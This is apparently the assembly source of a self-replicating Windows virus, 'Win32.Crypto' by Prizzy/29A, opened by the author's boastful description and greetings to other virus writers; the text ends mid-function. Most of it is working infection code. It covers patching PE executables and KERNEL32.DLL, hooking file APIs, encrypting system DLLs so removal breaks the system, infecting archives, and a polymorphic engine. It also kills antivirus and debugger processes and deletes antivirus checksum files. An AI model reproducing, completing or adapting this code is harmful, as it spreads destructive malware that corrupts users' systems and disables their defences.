;
; 谀耐屯屯屯湍内哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪目哪屯屯屯屯哪?; : Prizzy/29A : Win32.Crypto : Prizzy/29A :
; 滥耐屯屯屯湍睦哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪馁哪屯屯屯屯哪?;
; I'm very proud on my very first virus at Win32 platform. It infects EXE
; files with PE (Portable Executable) header. Also it can compress itself
; into ZIP/ARJ/RAR/ACE/CAB archivez. If the virus catch DLL opeations, it
; encrypt/decrypt that by cryptography functions. Thus, we can pronounce
; the system is dependents on the virus (OneHalf idea).
;
; When infected EXE is started, it infects KERNEL32.DLL, hooks some Win32
; functions and next reboot is actived. It catches "all" file operations,
; create thread/mutex, run Hyper Infection for API to find archivez, AV
; checksum files, EXEs and so on.
;
; If PHI-API will find an archive program, the virus compress itself and
; add itself to body (inside, not at the end). My PPE-II does NOT support
; copro & mmx garbages, only based with many features are new.
;
;
; Detailed Information
; 哪哪哪哪哪哪哪哪哪哪哪
;
;
; Cryptography Area, based on WinAPI (SR2/NT) functions
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?; Let us start. I exploited One Half technics for Win32 world, new method
; in our VX world. You exactly know One Half tries to encode your sectors
; and if you want to read its he decodes ones and so on, you exactly know
; what I think. Well, and because I use kernel32 infection I can hook all
; file functions. Then I decode all DLL files by PHI-II (Hyper Infection)
; and if the system wants to open DLL file I decode one, and so on. Then,
; the Win32 system is dependents on my virus. Naturally, the user can re-
; install Win95/98/NT/2000 but then DLL are in MSOffice, Visual C++, ICQ,
; Outlook, AutoCAD and many many more appz. For comparison: my Win98 has
; 831 DLL files and on my all disks are 5103 DLL files (including Win2k).
; I know this is the perfect way to get all what you want. But I've found
; out I can't hook all Win32 file operations so, true crypto DLL will be
; inside Ring0/Ring3 world - my future work...
;
;
; Prizzy Polymorphic Engine (PPE-II new version)
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
; I've removed all copro & mmx garbages and I've coded these new stuff:
; * brute-attack algorithm
; * random multi-layer engine
; By "brute-attack" I'm finding right code value by checksum. And because
; I don't know that number, AV neither. This process can take mostly 0.82
; seconds on my P233. For more info find "ppe_brute_init:" in this source
;
; In the second case I don't decode by default (up to down) but by random
; multi-layer algorithm. It means I generate the certain buffer and by
; its I decode up or down. Thus I can generate more then 950 layers and
; typical some 69 layers. Also the random buffer, behind poly loop, has
; anti-heuristic protection (gaps) to AV couldn't simulate that process.
; So, only in my decoding loop are stored the places where the gaps are.
; Find "ppe_mlayer_generate:" label for many momre information.
;
;
; Infection ZIP/ARJ/RAR/ACE/CAB archivez, including RAR/ACE EXE-SFX
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?; I will find these archive programs and by them I will compress some in-
; fected file by random compression level. Then the dropper is stored in-
; side archive, not at the end. So, I don't need have any CRC algorithms.
; However these operations are very complex, especially ZIP infection but
; it isn't impossible. So, AV cannot check only last file (stored) in ar-
; chive, but inside it.
;
;
; Main features
; 哪哪哪哪哪哪哪?;
;
; * Platforms: Windows 95/98, Windows NT/2000 (tested on 2031 build)
; * Residency: Yes, KERNEL32 way, working on 95/98 and NT/2k systems
; * Non-residency: Yes, only K32 infection
; * Stealth: Yes, DLLs working; opening, copying and loading
; * AntiDebugging: Yes, some stupid debuggers like TD32; routinues for
; disable SoftICE 95/NT.
; * AntiHeuristic: Yes, threads way and multi-layer anti-heuristic
; * AntiAntivirus: Yes, deleting checksum files, hacking AVAST database
; * Other anti-*: Yes, anti-emulator, anti-bait, anti-monitor
; * Fast Infection: Yes/No, infect only 20 EXEs every reboot, but infect
; all types of archivez on all diskz
; * Polymomrphism: Yes, using based garbages from Win9x.Prizzy, inclu-
; ding brute-force way and random multi-layer way
; * Other features: (a) Use of brute-CRC64 algorithm to find APIs in K32
; (b) Encoding and decoding DLLs in real time
; (c) Memory allocations by "CreateFileMapping" func.
; 'cause of sharing among processes
; (d) Use of threads, mutexes & process tricks
; (e) Support of "do not infected" table
; (f) Checking files by natural logarithm
; (g) No optimalization, yeah, I don't lie (read
; "Words from Prizzy" 29A #4 to know why)
; (h) UniCode support
;
;
; Greetings
; 哪哪哪哪哪?;
; And finally my greetz go to:
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪
; Darkman u're really great inet pal, thanx for fun on #virus :)
; Benny thanx for big help with threads, mutexes... we're wait-
; ing for Darkman's trip here, aren't we :) ?
; GriYo nah, I'd like to understand your ideas... thanx :) !
; Flush u've really big anti-* ideas, dude
; MemoryLapse yeah, K32 infection... go out of efnet to undernet
; LordJulus you have great vx articles, viruses ...
; Asmodeus finish that virus and release it; thanx for your trust
; AV companies just where is my win9x.prizzy description :) ?
; ...and for VirusBuster and Bumblebee
;
;
; Contact me
; 哪哪哪哪哪
; prizzy@coderz.net
; http://prizzy.cjb.net
;
;
; (c)oded by Prizzy/29A, December 1999
;
;
.386p
.model flat,STDCALL
include Include/Win32API.inc
include Include/UseFul.inc
include Include/MZ.inc
include Include/PE.inc
extrn ExitProcess:proc
extrn MessageBoxA:proc
;哪拇 prepare to program start 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.data
db ?
.code
;哪拇 some equ's needed by virus 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
;DEBUG equ YEZ ;only for debug and 1st start
mem_size equ (mem_end -virus_start) ;size of virus in memory
file_size equ (file_end-virus_start) ;size of virus in file
infect_minsize equ 4096 ;only filez bigger then 4K
infect_maxsize equ 100*1024*1024 ;to 100Mb
access_ebx equ (dword ptr 16) ;access into stack when
access_edx equ (dword ptr 20) ;will be used pushad
access_ecx equ (dword ptr 24)
access_eax equ (dword ptr 28)
search_mem_size equ 100*(size dta+size search_address)
;哪拇 some structurez for virus 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
dta_struc struc ;Win32_FIND_DATA structure
dta_fileattr dd ? ;for FindFirstFile function
dta_time_creation dq ?
dta_time_lastaccess dq ?
dta_time_lastwrite dq ?
dta_filesize_hi dd ?
dta_filesize dd ?
dta_reserved_0 dd ?
dta_reserved_1 dd ?
dta_filename db 260 dup (?)
dta_filename_short db 14 dup (?)
ends
sysTime_struc struc ;used by my Windows API
wYear dw 0000h ;"hyper infection"
wMonth dw 0000h
wDayOfWeek dw 0000h
wDay dw 0000h
wHour dw 0000h
wMinute dw 0000h
wSecond dw 0000h
wMilliseconds dw 0000h
ends
Process_Information struc ;CreateProcess: struc #1
hProcess dd 00000000h
hThread dd 00000000h
dwProcessId dd 00000000h
dwThreadId dd 00000000h
ends
Startup_Info struc ;CreateProcess: struc #2
cb dd 00000000h
lpReserved dd 00000000h ;this struc has been stolen
lpDesktop dd 00000000h ;from "Win32 Help"
lpTitle dd 00000000h
dwX dd 00000000h
dwY dd 00000000h
dwXSize dd 00000000h
dwYSize dd 00000000h
dwXCountChars dd 00000000h
dwYCountChars dd 00000000h
dwFillAttribute dd 00000000h
dwFlags dd 00000000h
wShowWindow dw 0000h
cbReserved2 dw 0000h
lpReserved2 dd 00000000h
hStdInput dd 00000000h
hStdOutput dd 00000000h
hStdError dd 00000000h
ends
File_Time struc ;get/set file time struc
dwLowDateTime dd 00000000h
dwHighDateTime dd 00000000h
ends
;哪拇 some macroz needed by virus 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
; search "anti-emulators:" for more information
@ANTI_E_START macro start_hack, finish_hack
WHILE (num NE 0)
push dword ptr [ebp+start_hack + /
((finish_hack-start_hack) / 4 + 1 - num) * 4]
num = num - 1
endm
num = (finish_hack - start_hack) / 4 + 1
endm
@ANTI_E_FINISH macro start_hack, finish_hack, thread_handle
WHILE (num NE 0)
pop dword ptr [ebp+finish_hack - /
(finish_hack-start_hack) mod 4 - /
((finish_hack-start_hack) / 4 + 1 - num) * 4]
num = num - 1
endm
call [ebp+ddCloseHandle], thread_handle
num = (finish_hack - start_hack) / 4 + 1
endm
;哪拇 virus code starts here 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?virus_start:
call get_base_ebp ;get actual address to EBP
mov eax,ebp
db 2Dh ;sub eax,infected_ep
infected_ep: dd 00001000h
db 05h ;add eax,original_ep
original_ep: dd 00000000
sub eax,[ebp+__pllg_lsize]
push eax ;host address
; use anti-emulator
pusha
@SEH_SetupFrame <jmp __anti_e_1>;set SEH handler
call $ ;ehm :)
jmp __return
__anti_e_1:
@SEH_RemoveFrame ;reset SEH handler
popa
call find_kernel32 ;find kernel's base address
; use anti-emulator
@ANTI_E_START __thread_1_begin, __thread_1_finish
lea eax,[ebp+__thread_1] ;thread function
mov ebx,offset __thread_1_begin + /
(__thread_1_finish - __thread_1_begin) /
shl 18h ;upper imm8 register in EBX
call __MyCreateThread ; * anti-heuristic
__thread_1_begin equ this byte
jmp $ ;anti-emulator :)
jmp __return ;patch this ! random number
__thread_1_finish equ this byte
@ANTI_E_FINISH __thread_1_begin, __thread_1_finish, eax
; next code...
call kill_av_monitors ;kill AVP, AVAST32 etc.
call kill_debuggers ;bye, bye SoftICE, my honey
call create_mutex ;already resident ?
jc __return ;go back, if yes
call crypto_startup
call infect_kernel ;ehm, find kernel and infect!
__return:
pop eax
add eax,offset virus_start
jmp eax ;go back, my lord...
;哪拇 main function for infect file 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
;---------------------------------------------------------
;This is main function which infects file.
;
;Extension support:
; EXE ... executable file (PE), RAR/ACE SFX file
; DLL ... kernel32 infection, encypting through PHI-API
; CAB ... infecting Microsoft Cabinet File
; ZIP/ARJ/RAR/ACE ... dropper compressed,inside archive
;
;Okay, here is truth. I had many problems with EXE and DLL
;infection in this function. I found out all valuez have
;to be aligned etc. Especially Win2k need that. I also use
;"CheckSumMappedFile" function to calculate appz checksum.
;
infect_file:
; save registers & get delta
pusha
call get_base_ebp
; get extension
mov edi,[ebp+filename_ptr]
; convert lowercase characters to uppercase
push edi
call [ebp+ddlstrlen] ;get length of filename
inc eax ;number of characters to
push eax ;progress
push edi ;filename
call [ebp+ddCharUpperBuffA] ;convert to uppercase
; infect only files in these dirz
IFDEF DEBUG
cmp [edi+00000000h],'W/:C' ;"C:/WIN/WEWB4/XX/"
jnz __if_debug ;directory
cmp [edi+00000004h],'W/NI'
jnz __if_debug
cmp [edi+00000008h],'4BWE'
jnz __if_debug
cmp [edi+0000000Ch],'/XX/'
jz __if_debug2
__if_debug:
cmp [edi],'W/:C' ;"C:/WINDOWS/KERN"
jnz infect_file_exit
cmp [edi+4],'ODNI'
jnz infect_file_exit
cmp [edi+8],'K/SW'
jnz infect_file_exit
cmp [edi+8+4],'ENRE'
jnz infect_file_exit
__if_debug2:
ENDIF
; check file name (by avoid table)
mov ebx,[ebp+filename_ptr] ;filename
lea esi,[ebp+avoid_table] ;avoid table
call validate_name
jc infect_file_exit
; check AV files (anti-bait)
call fuck_av_files
jc infect_file_exit
; get extension
cld
mov al,'.' ;search this char
mov cx,filename_size ;max filename_size
repnz scasb ;searching...
dec edi ;set to that char
cmp al,[edi] ;check again !
jnz infect_file_exit ;shit, bad last char
IFDEF DEBUG
mov eax,[edi-4] ;you can infect only
cmp eax,'23LE'
jz __OnlyMyKernel
cmp eax,'DCBA' ;this file on my disk
jnz infect_file_exit ;i won't risk
__OnlyMyKernel:
ENDIF
; get file information
lea esi,[ebp+dta] ;dta structure
mov edx,[ebp+filename_ptr] ;FileName pointer
call __MyFindFirst
jc infect_file_exit ;success ?
call __MyFindClose ;close handle
cmp dword ptr [ebp+it_is_kernel],00000001h
jz infect_file_continue ;if kernel32, infect it
; check extension
mov eax,[edi] ;get ext of file
not eax
cmp eax,not 'EXE.' ;is it EXE file ?
jnz next_ext_1
call infect_ACE_RAR ;is it ACE/RAR EXE-SFX file ?
jnc infect_file_exit
jmp next_ext_end
next_ext_1:
cmp eax,not 'ECA.' ;is it ACE archive file ?
jnz next_ext_2
call infect_ACE
next_ext_2:
cmp eax,not 'RAR.' ;is it RAR archive file ?
jnz next_ext_3
call infect_RAR
next_ext_3:
cmp eax,not 'JRA.' ;is it ARJ archive file ?
jnz next_ext_4
call infect_ARJ
next_ext_4:
cmp eax,not 'PIZ.' ;is it ZIP archive file ?
jnz next_ext_5
call infect_ZIP
next_ext_5:
cmp eax,not 'BAC.' ;is it CAB archive file ?
jnz infect_file_exit
call infect_CAB
jmp infect_file_exit
next_ext_end: ;infect if any EXE file
; check number of infected files
cmp [ebp+NewACE.dropper],00000000h
jz infect_file_continue ;dropper exists ?
cmp dword ptr [ebp+file_infected],20
jae infect_file_exit ;infected more then 20 EXEs ?
; check file size
infect_file_continue:
mov eax,[ebp+dta.dta_filesize]
cmp eax,infect_minsize ;is filesize smaller ?
jb infect_file_exit
cmp eax,infect_maxsize ;is filesize bigger ?
ja infect_file_exit
; set file attributes
mov ecx,FILE_ATTRIBUTE_NORMAL
mov edx,[ebp+filename_ptr]
call __MySetAttrFile
jc infect_file_exit ;success ?
; open file
mov edx,[ebp+filename_ptr]
call __MyOpenFile ;open file !
jc infect_file_restattr
mov [ebp+file_handle],eax
; create a memory map object
push 00000000h ;name of file mapping object
push 00000000h ;low 32 bits of object size
push 00000000h ;high 32 bits of object size
push PAGE_READONLY ;get needed valuez, etc.
push 00000000h ;optional security attributes
push [ebp+file_handle] ;handle to file to map
call [ebp+ddCreateFileMappingA]
or eax,eax ;failed ?
jz infect_file_close
mov [ebp+file_hmap],eax ;store mapped file handle
; view of file in our address
push 00000000h ;number of bytes to map
push 00000000h ;low 32 bits of the offset
push 00000000h ;high 32 bits of the offset
push FILE_MAP_READ ;access mode
push [ebp+file_hmap] ;mapped file handle
call [ebp+ddMapViewOfFile]
or eax,eax ;failed ?
jz infect_file_closeMap
mov [ebp+file_hmem],eax ;mapped file in memory
; check file signature
cmp word ptr [eax.MZ_magic], /
IMAGE_DOS_SIGNATURE ;test 'MZ'
jnz infect_file_unMap
; check "PE" valuez
cmp word ptr [eax.MZ_crlc],0000h
jz infect_file_okay ;no PE ?
cmp word ptr [eax.MZ_lfarlc],0040h
jb infect_file_unMap ;bad PE ?
infect_file_okay:
; seek on NT header
mov esi,eax
add esi,[eax.MZ_lfanew]
push esi
call [ebp+ddIsBadCodePtr] ;can we read memory at least?
or eax,eax
jnz infect_file_unMap
; check "PE" signature
cmp dword ptr [esi.NT_Signature], /
IMAGE_NT_SIGNATURE
jnz infect_file_unMap ;is it really 'PE/0/0' ?
; already infected ?
mov eax,[ebp+file_hmem] ;mapped file in memory
add eax,[ebp+dta.dta_filesize]
mov eax,[eax-00000004h] ;infected dword flag
call __check_infected
jnc infect_file_unMap
; check header flags
mov ax,[esi+NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz infect_file_unMap
test ax,IMAGE_FILE_DLL ;no DLL ?
jz infect_file_no_dll
cmp dword ptr [ebp+it_is_kernel],00000000h
jz infect_file_unMap ;is it kernel32 infection ?
infect_file_no_dll:
call __getLastObjectTable ;seek on last object table
; alloc memory for polymorphic engine
mov eax,file_size + 30000h
call malloc
mov [ebp+mem_address],eax
add eax,file_size
mov [ebp+poly_start],eax
; get new entry-point (EXE), or change IT of kernel32 ?
mov eax,[ebx+SH_SizeOfRawData]
add eax,[ebx+SH_VirtualAddress]
mov dword ptr [ebp+infected_ep],eax
mov eax,[esi+NT_OptionalHeader.OH_AddressOfEntryPoint]
mov dword ptr [ebp+original_ep],eax
mov [ebp+poly_finish],mem_size
; run Prizzy Polymorphic Engine (PPE-II)
cmp dword ptr [ebp+it_is_kernel],00000000h
jnz infect_file_common
call ppe_startup
; calculate maximum infected file size
infect_file_common:
mov eax,[ebx+SH_SizeOfRawData] ;file size
add eax,[ebx+SH_PointerToRawData]
add eax,[ebp+poly_finish] ; + virus file size
add eax,00000004h ; + infected flag
mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment]
xor edx,edx
add eax,ecx
dec eax
div ecx
mul ecx
push eax
; unmap file object
push [ebp+file_hmem]
call [ebp+ddUnmapViewOfFile]
; close mapping file object
push [ebp+file_hmap]
call [ebp+ddCloseHandle]
; reopen memory mapped file object
push 00000000h ;name of file mapping object
push dword ptr [esp+0000004h];low 32 bits of object size
push 00000000h ;high 32 bits of object size
push PAGE_READWRITE ;get needed valuez, etc.
push 00000000h ;optional security attributes
push [ebp+file_handle] ;handle to file to map
call [ebp+ddCreateFileMappingA]
mov [ebp+file_hmap],eax ;store mapped file handle
; view of file in our memory
push 00000000h ;number of bytes to map
push 00000000h ;low 32 bits of the offset
push 00000000h ;high 32 bits of the offset
push FILE_MAP_WRITE ;access mode
push [ebp+file_hmap] ;mapped file handle
call [ebp+ddMapViewOfFile]
mov [ebp+file_hmem],eax ;mapped file in memory
; seek on last object table
add eax,[eax.MZ_lfanew]
mov esi,eax
call __getLastObjectTable
; infect "KERNEL32" file OR change EntryPoint
cmp dword ptr [ebp+it_is_kernel],00000000h
jz infect_file_entry
mov [ebp+__pllg_lsize],00000000h ;more info in that func
call infect_file_kernel ;hook "kernel32" table :)
jmp infect_file_no_change
infect_file_entry:
mov eax,dword ptr [ebp+infected_ep]
add eax,[ebp+file_size3]
mov [esi+NT_OptionalHeader.OH_AddressOfEntryPoint],eax
; copy mem_address (virus body) to the end of file
infect_file_no_change:
push esi
mov esi,[ebp+mem_address] ;source data
mov edi,[ebx+SH_SizeOfRawData]
add edi,[ebx+SH_PointerToRawData]
add edi,[ebp+file_hmem] ;destination pointer
mov ecx,[ebp+poly_finish] ;number of bytes to copy
rep movsb
pop esi
; calculate new physical size
mov eax,[ebp+poly_finish]
cmp dword ptr [ebp+it_is_kernel],00000000h
jz $ + 7 ;this isn't logic but i had
mov eax,mem_size ;problems in k32 memory
add eax,[ebx+SH_SizeOfRawData]
mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment]
xor edx,edx
add eax,ecx
dec eax
div ecx
mul ecx
mov [ebx+SH_SizeOfRawData],eax
; calculate new potential virtual size
mov eax,[ebx+SH_VirtualSize]
add eax,mem_size
mov ecx,[esi+NT_OptionalHeader.OH_SectionAlignment]
xor edx,edx
add eax,ecx
dec eax
div ecx
mul ecx
; if new phys_size > virt_size ==> virt_size = phys_size
cmp eax,[ebx+SH_SizeOfRawData]
jnc infect_file_no_update
mov eax,[ebx+SH_SizeOfRawData]
infect_file_no_update:
mov [ebx+SH_VirtualSize],eax
add eax,[ebx+SH_VirtualAddress]
; infected host increased an image size ?
cmp eax,[esi+NT_OptionalHeader.OH_SizeOfImage]
jc infect_no_update_2
mov [esi+NT_OptionalHeader.OH_SizeOfImage],eax
infect_no_update_2:
; set these PE flags
or dword ptr [ebx+SH_Characteristics], /
IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or /
IMAGE_SCN_MEM_WRITE
; already infected flag
mov eax,02302301h ;special number
call ppe_get_rnd_range
inc eax ;it can't be zero
imul eax,117 ;encrypt one
pop edi ;file size + virus size
mov [ebp+file_hsize],edi
add edi,[ebp+file_hmem] ;mapped file in memory
mov [edi-00000004h],eax ;already infected flag
; calculate new checksum because of Win2k and WinNT :)
cmp dword ptr [esi+NT_OptionalHeader. /
OH_CheckSum],00000000h
jz infect_file_no_checksum
@pushsz "IMAGEHLP.DLL" ;load "IMAGEHLP.DLL" library
call [ebp+ddLoadLibraryA]
or eax,eax ;failed ?
jz infect_file_no_checksum
push eax ;parameter for FreeLibrary
; get function to calculate checksum
@pushsz "CheckSumMappedFile" ;get address of this function
push eax ;library handle
call [ebp+ddGetProcAddress]
or eax,eax
jz infect_file_deload
; calculate checksum
lea ecx,[esi+NT_OptionalHeader.OH_CheckSum]
push ecx ;receives computed checksum
call $+9 ;header old checksum
dd ?
push dword ptr [ebp+file_hsize]
push [ebp+file_hmem] ;memory mapped address
call eax
infect_file_deload:
call [ebp+ddFreeLibrary]
; dealloc memory for PPE-II
infect_file_no_checksum:
mov eax,[ebp+mem_address]
call mdealloc
; new infected file
inc dword ptr [ebp+file_infected]
; use for acrhive dropper ?
cmp dword ptr [ebp+dta.dta_filesize],30000
ja infect_file_unMap ;for archive fsize < 30Kb
push [ebp+file_hmem] ;mapped file in memory
call [ebp+ddUnmapViewOfFile]
push [ebp+file_hmap] ;mapped file object
call [ebp+ddCloseHandle]
mov ebx,[ebp+file_handle] ;I must close infected file
call __MyCloseFile ;coz I'll copy it, etcetera
call __add_dropper ;compress it by ZIP, RAR ...
jmp infect_file_restattr
infect_file_unMap:
push [ebp+file_hmem] ;mapped file in memory
call [ebp+ddUnmapViewOfFile]
infect_file_closeMap:
push [ebp+file_hmap] ;mapped file object
call [ebp+ddCloseHandle]
infect_file_time:
lea eax,[ebp+dta.dta_time_lastwrite]
lea ecx,[ebp+dta.dta_time_lastaccess]
lea edx,[ebp+dta.dta_time_creation]
call [ebp+ddSetFileTime], /
[ebp+file_handle], /
edx, ecx, eax
infect_file_close:
mov ebx,[ebp+file_handle] ;close file handle
call __MyCloseFile
infect_file_restattr:
mov ecx,[ebp+dta.dta_fileattr]
mov edx,[ebp+filename_ptr] ;restore file attributes
call __MySetAttrFile
infect_file_exit:
popa ;go to HyperInfection or to
ret ;Kernel32 hooked functions
;---------------------------------------------------------
;Common file infected semi-functions.
;
__getLastObjectTable:
movzx eax,[esi+NT_FileHeader.FH_NumberOfSections]
cdq
mov ecx,IMAGE_SIZEOF_SECTION_HEADER
dec eax
mul ecx ;eax=offs of last section
movzx edx,[esi+NT_FileHeader.FH_SizeOfOptionalHeader]
add eax,edx
add eax,esi
add eax,offset NT_OptionalHeader.OH_Magic ;seek to l.o. table
xchg eax,ebx
ret
;哪拇 function to hook some funtions from KERNEL32.DLL 媚哪哪哪哪哪哪哪哪?
;---------------------------------------------------------
;At last I've finished this unpalatable function. I remem-
;ber how hardly I have found an interesting source about
;this method because I have many many problems with this.
;So, let's begin. At first I will get these addresses:
; * name table pointer (as are function names)
; * address table pointer (as are functions addresses)
; * ordinal table pointer
;Then I'll get function name, calculate its CRC32 and I'll
;compare it with my future-hooked CRC32 table. If I will
;find it, i will save its original address, replace by my
;my new offset and I'll write it to the file.
;
;I would like to thank:
; * "Memory Lapse" for his "Win32.Heretic" source
; * Darkman/29A for giving me that source
;
;I must infect "kernel32.dll" because I must hook all disk
;functions because of "Prizzy Hyper Infection for API".
;
infect_file_kernel:
; save all registers
pusha
; check address of APIs in KERNEL32 file body
mov eax,[ebp+file_hmem]
add eax,[eax.MZ_lfanew] ;go to new "PE" header
mov eax,dword ptr [eax.OH_DirectoryEntries + /
IMAGE_SIZEOF_FILE_HEADER + /
00000004h] ;get Export Directory Table
add eax,[ebp+file_hmem]
mov ebx,[eax.ED_AddressOfOrdinals]
mov esi,[eax.ED_AddressOfNames]
mov edx,[eax.ED_AddressOfFunctions]
push [eax.ED_BaseOrdinal] ;save BaseOrdinal
add eax,[eax.ED_BaseOrdinal]
add ebx,[ebp+file_hmem] ;adjust ordinal table pointer
add esi,[ebp+file_hmem] ;adjust name table pointer
add edx,[ebp+file_hmem] ;adjust address table pointer
push edx esi ebx ;save startup values
; main loop
lea edi,[ebp+Hooked_API]
mov ecx,00000001h
__ifk_next_loop:
push edx ;address table pointer
push ecx ;save counter
shl ecx,01h ;convert to word index
movzx eax,word ptr [ebx+ecx] ;calculate ordinal index
sub eax,[esp+00000014h] ;relative to ordinal basee
shl eax,02h ;convert to dword index
mov edx,eax
mov ecx,[esp+00000010h] ;address pointer table
add eax,ecx ;calculate offset
lea ecx,[ecx+edx] ;RVA of API
push esi ;address name table
mov esi,[esi] ;get pointer from name table
add esi,[ebp+file_hmem]
call __get_CRC32 ;get CRC32 for function name
cmp eax,[edi] ;compare CRC32
pop esi
jnz __ifk_not_found
push edi ;load original function addr
lea eax,[ebp+Hooked_API]
sub edi,eax
shl edi,01h ;so, (x/2)*8
lea eax,[ebp+Hooked_API_functions]
add edi,eax
mov eax,[edi] ;get address into "jmp ????"
add eax,ebp ;ehm, adjust that address
mov ebx,[ecx] ;load original address
add ebx,[ebp+kernel_base]
mov [eax],ebx ;save original func. address
mov eax,[edi+00000004h] ;load new address in v.body
pop edi
add edi,00000004h ;next CRC32 function value
sub eax,offset virus_start ; - "offset"
add eax,[ebp+dta.dta_filesize] ;new func. pos in "k32"
mov [ecx],eax
; for next loop I must restart these values
mov ebx,[esp+00000008h] ;load ordinal table pointer
mov esi,[esp+0000000Ch] ;load name table pointer
mov edx,[esp+00000010h] ;load address table pointer
mov dword ptr [esp],00000000h ;reset counter
mov [esp+00000004h],edx ;reset address table pointer
jmp __ifk_no_change ;this was fucking bug !
__ifk_not_found:
add esi,00000004h ;next name pointer
add dword ptr [esp + / ;next function pointer
00000004h],00000004h
__ifk_no_change:
pop ecx ;functions counter
inc ecx ;next function
pop edx ;address table pointer
cmp dword ptr [edi],00000000h ;end of hooked functions ?
jnz __ifk_next_loop
mov dword ptr [ebp+it_is_kernel],00000000h
mov dword ptr [ebp+HyperInfection_k32],00000000h
; write this virus body to the end of "kernel32.dll"
; virus body cannot be encrypted...
lea esi,[ebp+virus_start] ;start of virus body
mov edi,[ebp+mem_address] ;allocated memory
mov ecx,mem_size
rep movsb
mov dword ptr [ebp+it_is_kernel],00000001h
mov eax,mem_size ;without poly-engine !!!
mov [ebp+poly_finish],eax
add esp,4*4
popa
ret ;complex way how to go back
;哪拇 main function of infect all filez on disks 媚哪哪哪哪哪哪哪哪哪哪哪?
;---------------------------------------------------------
;This function searchs these extensions on all disks:
; EXE, ZIP, ARJ, RAR, ACE, CAB, ...
;and many namez, find "HyperTable" struct for more info.
;If you want to know more about this method, open "Hyper
;Infection" article in 29A #4, or download one from my web
;
;Note: * This is version for API, for IDT orientation use
; code from "Win95.Prizzy", thanks.
;
init_search:
pusha
call get_base_ebp ;where we're into ebp
mov ebx,[ebp+search_table] ;position in HyperTable
cmp byte ptr [ebp+search_start],00h
jnz __continue
mov byte ptr [ebp+search_start],01h
call get_disks ;get drive parameters
lea eax,[ebp+time]
push eax
call [ebp+ddGetSystemTime] ;get actual time
mov eax,search_mem_size ;size of mem for searching
call malloc
jz init_search_error ;were we sucessful ?
mov [ebp+search_address],eax
mov eax,005C3A43h ;'C://0'
mov dword ptr [ebp+search_filename],eax
__searching:
mov byte ptr [ebp+search_plunge],00h
jmp search_all_dirs
__searching_end:
cmp byte ptr [ebp+search_filename],'Z'
jz init_search_done
inc byte ptr [ebp+search_filename]
mov word ptr [ebp+search_filename+2],005Ch
; what disk is it ? fixed ? cd-rom ? ram-disk ? etc. ?
mov cl,'A'
sub cl,[ebp+search_filename]
neg cl
mov eax,00000001h
shl eax,cl ;convert to BCD
test [ebp+gdt_flags],eax
jnz __searching ;may I "use" this disk ?
jmp __searching_end ;uaaaaah, i'm crazy... :)
init_search_exit:
mov ecx,dword ptr [ebp+search_address]
call mdealloc ;deallocate memory
init_search_error:
popa ;restore all regz
ret
init_search_done: ;all disks infected?
call hookHyperInfection_Done ;remove timer
jmp init_search_exit
search_all_dirs:
lea ebx,[ebp+HyperTable]
search_all_dirs_continue:
call __add_filename ;add filename or extension
call __calc_in_mem ;offs dta in mem to esi
lea edx,[ebp+search_filename]
call __MyFindFirst
mov [esi-size search_handle],eax ;save handle
jc __find_dir ;error ?
__repeat:
call __clean ;delete extension
push esi
lea esi,[esi].dta_filename ;and add file name
@copysz ;copy with zero char
pop esi ;restore esi=dta in memory
lea eax,[ebp+search_filename]
mov [ebp+filename_ptr],eax
__final_SoftICE_1:
nop
nop
; int 4 ;final SoftICE breakpoint
mov eax,[ebx-00000004h] ;input value
push dword ptr [ebx-00000008h]
add [esp],ebp ;this was ghastly bug !
call [esp] ;call function
pop eax
push word ptr [ebp+time.wSecond]
lea eax,[ebp+time] ;give time other appz
push eax
call [ebp+ddGetSystemTime]
pop cx
mov [ebp+search_table],ebx ;position in HyperTable
cmp cx,[ebp+time.wSecond] ;out of time ?
jnz init_search_error
__continue:
call __calc_in_mem ;esi=dta in memory
mov eax,[esi-size search_handle] ;handle of FindFirstFile
call __MyFindNext
jnc __repeat
call __MyFindClose
__find_dir:
call __clean ;remove file name/extension
cmp byte ptr [ebx],0FFh ;last file name ?
jnz search_all_dirs_continue
__find_dir_continue:
mov [edi],002A2E2Ah ;add '*.*',0
call __calc_in_mem
lea edx,[ebp+search_filename]
call __MyFindFirst ;search directory "only"
mov [esi-size search_handle],eax
jc __search_exit
__find_in_dir:
test [esi].dta_fileattr,10h ;is it directory ?
jz __find_next
cmp [esi].dta_filename,'.' ;it can't be directory
jz __find_next
inc byte ptr [ebp+search_plunge]
call __get_last_char ;edi=last char of filename
lea esi,[esi].dta_filename ;esi=filename
call __clean ;remove extension
@copysz ;copy directory name and
mov word ptr [edi-1],005Ch ;set '/' at the end
jmp search_all_dirs ;search in new directory
__find_next:
call __calc_in_mem
mov eax,[esi-size search_handle]
call __MyFindNext
jnc __find_in_dir
__search_exit:
call __clean ;remove file name and '/'
mov byte ptr [edi-1],00h ;it's out of directory
dec byte ptr [ebp+search_plunge]
cmp byte ptr [ebp+search_filename+2],00h
jz __searching_end
jmp __find_next
__calc_in_mem: ;get pointer to dta in memory
movzx esi,byte ptr [ebp+search_plunge]
imul esi,size dta+size search_handle
add esi,[ebp+search_address]
add esi,size search_handle
ret
__add_filename: ;add f.n. or ext by HyperTable
call __get_last_char
cmp byte ptr [ebx],00h ;only extension ?
jnz __af_fullcopy
mov eax,[ebx+1] ;load extension
mov byte ptr [edi],2Ah ;'*'
